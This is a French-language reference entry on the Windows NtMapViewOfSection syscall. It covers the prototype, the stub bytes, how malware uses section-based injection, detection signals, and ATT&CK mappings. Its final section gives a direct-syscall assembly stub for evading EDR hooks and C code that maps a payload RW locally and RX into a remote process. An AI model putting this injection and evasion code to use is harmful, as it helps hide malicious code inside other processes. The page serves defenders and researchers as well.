NtMapViewOfSection

Prototype

NTSTATUS NtMapViewOfSection(
  HANDLE          SectionHandle,
  HANDLE          ProcessHandle,
  PVOID          *BaseAddress,
  ULONG_PTR       ZeroBits,
  SIZE_T          CommitSize,
  PLARGE_INTEGER  SectionOffset,
  PSIZE_T         ViewSize,
  SECTION_INHERIT InheritDisposition,
  ULONG           AllocationType,
  ULONG           Win32Protect
);

Arguments

IDs de syscalls par version de Windows

Stub du syscall

4C 8B D1            mov r10, rcx
B8 28 00 00 00      mov eax, 0x28
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

`NtMapViewOfSection` est le point d'entrée userland de la famille `MiMapViewOfSection` du noyau. Le SSN `0x28` est stable sur tous les builds Win10/11 livrés. La mémoire adossée à une section est fondamentalement différente de `NtAllocateVirtualMemory` : les vues sont adossées à un objet `_SECTION` (fichier ou pagefile), partagent les pages physiques entre processus et apparaissent dans les VAD avec les flags `SubsectionBased`/`MappedFile` plutôt que `Private`. Cette double nature — mêmes octets visibles dans deux espaces d'adressage — est ce qui la rend irrésistible pour l'injection.

Usage courant par les malwares

Fondation de l'injection par section (injection style `MapViewOfSection`, Process Doppelgänging, Process Ghosting, Transacted Hollowing, variantes Atom Bombing). On crée une section adossée au pagefile via `NtCreateSection`, on la mappe en local en RW, on copie le shellcode, puis on remappe la même section dans le processus distant en RX. Les octets apparaissent exécutables dans la cible sans aucun `WriteProcessMemory` explicite. Utilisé par les loaders FIN7/Carbanak, BumbleBee, le Process Doppelgänging original d'enSilo et divers loaders RAT. C'est aussi la colonne vertébrale du side-loading via empoisonnement `KnownDlls`.

Opportunités de détection

L'injection par section évite délibérément la télémétrie `NtWriteVirtualMemory` et `NtAllocateVirtualMemory` sur laquelle se basent les EDR. Cependant, Sysmon Event ID 7 (`Image Load`) et Event ID 8 (`CreateRemoteThread`) se déclenchent toujours sur les conséquences. ETW Threat Intelligence émet `EtwTiLogMapExecVm` dès qu'une vue exécutable est mappée dans un processus distant — c'est le signal dédié. L'analyse VAD via PE-Sieve flagge les régions `MappedImage` dont le fichier d'origine a été supprimé (Process Ghosting) ou dont le nom de section ne correspond à aucune KnownDll légitime. `ObRegisterCallbacks` sur `*PsProcessType` permet aux pilotes de retirer des droits au handle de section avant son mapping inter-processus.

Exemples de syscalls directs

; Direct syscall stub for NtMapViewOfSection (SSN 0x28, stable across all Win10/11)
NtMapViewOfSection PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 28h          ; SSN
    syscall
    ret
NtMapViewOfSection ENDP

// Section injection: same physical pages mapped RW locally, RX in target.
HANDLE hSection = NULL;
LARGE_INTEGER max_size = { .QuadPart = 0x10000 };
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &max_size,
                PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

PVOID  local_view = NULL;
SIZE_T view_size  = 0;
NtMapViewOfSection(hSection, NtCurrentProcess(), &local_view, 0, 0, NULL,
                   &view_size, ViewUnmap, 0, PAGE_READWRITE);
memcpy(local_view, payload, payload_len);

PVOID  remote_view = NULL;
view_size = 0;
NtMapViewOfSection(hSection, hRemote, &remote_view, 0, 0, NULL,
                   &view_size, ViewUnmap, 0, PAGE_EXECUTE_READ);

// SSN 0x28 across every supported build, but still better to resolve dynamically.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                            "NtMapViewOfSection"));
set_ssn(ssn);
indirect_syscall_invoke(/* hSection, hRemote, &remote_view, ... */);

Mappings MITRE ATT&CK

• T1055Process Injectionmitre ↗
• T1055.012Process Hollowingmitre ↗
• T1055.013Process Doppelgängingmitre ↗
• T1620Reflective Code Loadingmitre ↗